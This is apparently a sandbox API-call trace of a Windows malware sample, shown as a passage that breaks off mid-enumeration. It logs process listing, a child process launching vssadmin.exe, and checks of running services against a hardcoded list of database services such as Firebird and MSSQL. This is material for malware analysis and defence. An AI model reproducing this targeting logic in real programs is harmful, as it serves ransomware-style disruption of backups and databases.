	[0093.316] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0093.317] lstrlenW (lpString="spoolsv.exe") returned 11
	[0093.317] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0093.317] lstrlenW (lpString="taskhost.exe") returned 12
	[0093.317] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0093.318] lstrlenW (lpString="svchost.exe") returned 11
	[0093.318] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0093.319] lstrlenW (lpString="taskeng.exe") returned 11
	[0093.319] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0093.320] lstrlenW (lpString="taskhost.exe") returned 12
	[0093.320] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="similarlyvaultsquirting.exe")) returned 1
	[0093.320] lstrlenW (lpString="similarlyvaultsquirting.exe") returned 27
	[0093.320] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wisdom-restaurant.exe")) returned 1
	[0093.321] lstrlenW (lpString="wisdom-restaurant.exe") returned 21
	[0093.321] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="zoo.exe")) returned 1
	[0093.322] lstrlenW (lpString="zoo.exe") returned 7
	[0093.322] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formula-graduates.exe")) returned 1
	[0093.322] lstrlenW (lpString="formula-graduates.exe") returned 21
	[0093.322] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="determined.exe")) returned 1
	[0093.323] lstrlenW (lpString="determined.exe") returned 14
	[0093.323] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressreflectmovement.exe")) returned 1
	[0093.324] lstrlenW (lpString="expressreflectmovement.exe") returned 26
	[0093.324] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hansen mails.exe")) returned 1
	[0093.324] lstrlenW (lpString="hansen mails.exe") returned 16
	[0093.324] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="choirsas.exe")) returned 1
	[0093.325] lstrlenW (lpString="choirsas.exe") returned 12
	[0093.325] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="skirt_races.exe")) returned 1
	[0093.326] lstrlenW (lpString="skirt_races.exe") returned 15
	[0093.326] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actors_radius.exe")) returned 1
	[0093.326] lstrlenW (lpString="actors_radius.exe") returned 17
	[0093.326] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scheduling.exe")) returned 1
	[0093.327] lstrlenW (lpString="scheduling.exe") returned 14
	[0093.327] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="michael.exe")) returned 1
	[0093.328] lstrlenW (lpString="michael.exe") returned 11
	[0093.328] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="worldcatcommonwealth.exe")) returned 1
	[0093.328] lstrlenW (lpString="worldcatcommonwealth.exe") returned 24
	[0093.328] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pleasure.exe")) returned 1
	[0093.329] lstrlenW (lpString="pleasure.exe") returned 12
	[0093.329] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering_subsidiary.exe")) returned 1
	[0093.330] lstrlenW (lpString="entering_subsidiary.exe") returned 23
	[0093.330] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="electron.exe")) returned 1
	[0093.330] lstrlenW (lpString="electron.exe") returned 12
	[0093.330] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eligible-terry-procedures.exe")) returned 1
	[0093.331] lstrlenW (lpString="eligible-terry-procedures.exe") returned 29
	[0093.331] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="telling-copper-couples.exe")) returned 1
	[0093.332] lstrlenW (lpString="telling-copper-couples.exe") returned 26
	[0093.332] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rolled midlands.exe")) returned 1
	[0093.333] lstrlenW (lpString="rolled midlands.exe") returned 19
	[0093.333] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pointer.exe")) returned 1
	[0093.333] lstrlenW (lpString="pointer.exe") returned 11
	[0093.333] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gd logos.exe")) returned 1
	[0093.334] lstrlenW (lpString="gd logos.exe") returned 12
	[0093.334] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="algebra validity.exe")) returned 1
	[0093.335] lstrlenW (lpString="algebra validity.exe") returned 20
	[0093.335] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="drunk_opinion.exe")) returned 1
	[0093.633] lstrlenW (lpString="drunk_opinion.exe") returned 17
	[0093.633] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0093.634] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0093.634] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0093.635] lstrlenW (lpString="dllhost.exe") returned 11
	[0093.635] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="p.exe")) returned 1
	[0093.636] lstrlenW (lpString="p.exe") returned 5
	[0093.636] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0093.636] lstrlenW (lpString="cmd.exe") returned 7
	[0093.636] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0093.637] lstrlenW (lpString="conhost.exe") returned 11
	[0093.637] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa4c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0093.638] lstrlenW (lpString="vssadmin.exe") returned 12
	[0093.638] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa4c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0
	[0093.639] CloseHandle (hObject=0x19c) returned 1
	[0093.639] Sleep (dwMilliseconds=0x1f4) 
	[0094.511] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35d0b00
	[0094.511] EnumServicesStatusExW (in: hSCManager=0x35d0b00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0) returned 0
	[0094.512] GetLastError () returned 0xea
	[0094.512] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x11e4) returned 0x4ee030
	[0094.512] EnumServicesStatusExW (in: hSCManager=0x35d0b00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4ee030, cbBufSize=0x11e4, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4ee030, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0) returned 1
	[0094.513] CloseServiceHandle (hSCObject=0x35d0b00) returned 1
	[0094.513] lstrlenW (lpString="Appinfo") returned 7
	[0094.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0094.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0094.513] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0094.513] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0094.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0094.513] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0094.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0094.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0094.513] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0094.513] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0094.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0094.513] lstrlenW (lpString="AudioSrv") returned 8
	[0094.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0094.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0094.513] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0094.513] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0094.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0094.514] lstrlenW (lpString="BFE") returned 3
	[0094.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0094.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0094.514] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0094.514] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0094.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0094.514] lstrlenW (lpString="CryptSvc") returned 8
	[0094.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0094.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0094.514] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0094.514] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0094.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0094.514] lstrlenW (lpString="CscService") returned 10
	[0094.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0094.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0094.514] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0094.514] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0094.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0094.514] lstrlenW (lpString="DcomLaunch") returned 10
	[0094.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0094.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0094.514] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0094.514] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0094.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0094.514] lstrlenW (lpString="Dhcp") returned 4
	[0094.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0094.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0094.515] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0094.515] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0094.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0094.515] lstrlenW (lpString="Dnscache") returned 8
	[0094.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0094.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0094.531] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0094.531] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0094.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0094.539] lstrlenW (lpString="DPS") returned 3
	[0094.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0094.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0094.539] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0094.539] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0094.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0094.539] lstrlenW (lpString="eventlog") returned 8
	[0094.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0094.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0094.539] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0094.539] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0094.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0094.539] lstrlenW (lpString="EventSystem") returned 11
	[0094.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0094.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0094.539] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0094.539] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0094.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0094.539] lstrlenW (lpString="gpsvc") returned 5
	[0094.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0094.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0094.539] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0094.539] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0094.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0094.539] lstrlenW (lpString="iphlpsvc") returned 8
	[0094.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0094.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0094.540] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0094.540] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0094.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0094.540] lstrlenW (lpString="LanmanServer") returned 12
	[0094.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0094.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0094.540] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0094.540] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0094.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0094.540] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0094.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0094.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0094.540] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0094.540] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0094.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0094.540] lstrlenW (lpString="lmhosts") returned 7
	[0094.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0094.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0094.540] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0094.540] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0094.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0094.540] lstrlenW (lpString="MMCSS") returned 5
	[0094.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0094.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0094.540] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0094.540] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0094.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0094.540] lstrlenW (lpString="MpsSvc") returned 6
	[0094.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0094.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0094.540] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0094.541] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0094.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0094.541] lstrlenW (lpString="Netman") returned 6
	[0094.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0094.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0094.541] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0094.541] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0094.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0094.541] lstrlenW (lpString="netprofm") returned 8
	[0094.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0094.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0094.541] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0094.541] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0094.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0094.541] lstrlenW (lpString="NlaSvc") returned 6
	[0094.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0094.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0094.541] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0094.541] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0094.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0094.541] lstrlenW (lpString="nsi") returned 3
	[0094.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0094.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0094.541] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0094.541] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0094.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0094.541] lstrlenW (lpString="PcaSvc") returned 6
	[0094.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0094.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0094.541] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0094.541] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0094.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0094.542] lstrlenW (lpString="PlugPlay") returned 8
	[0094.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0094.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0094.542] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0094.542] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0094.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0094.542] lstrlenW (lpString="Power") returned 5
	[0094.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
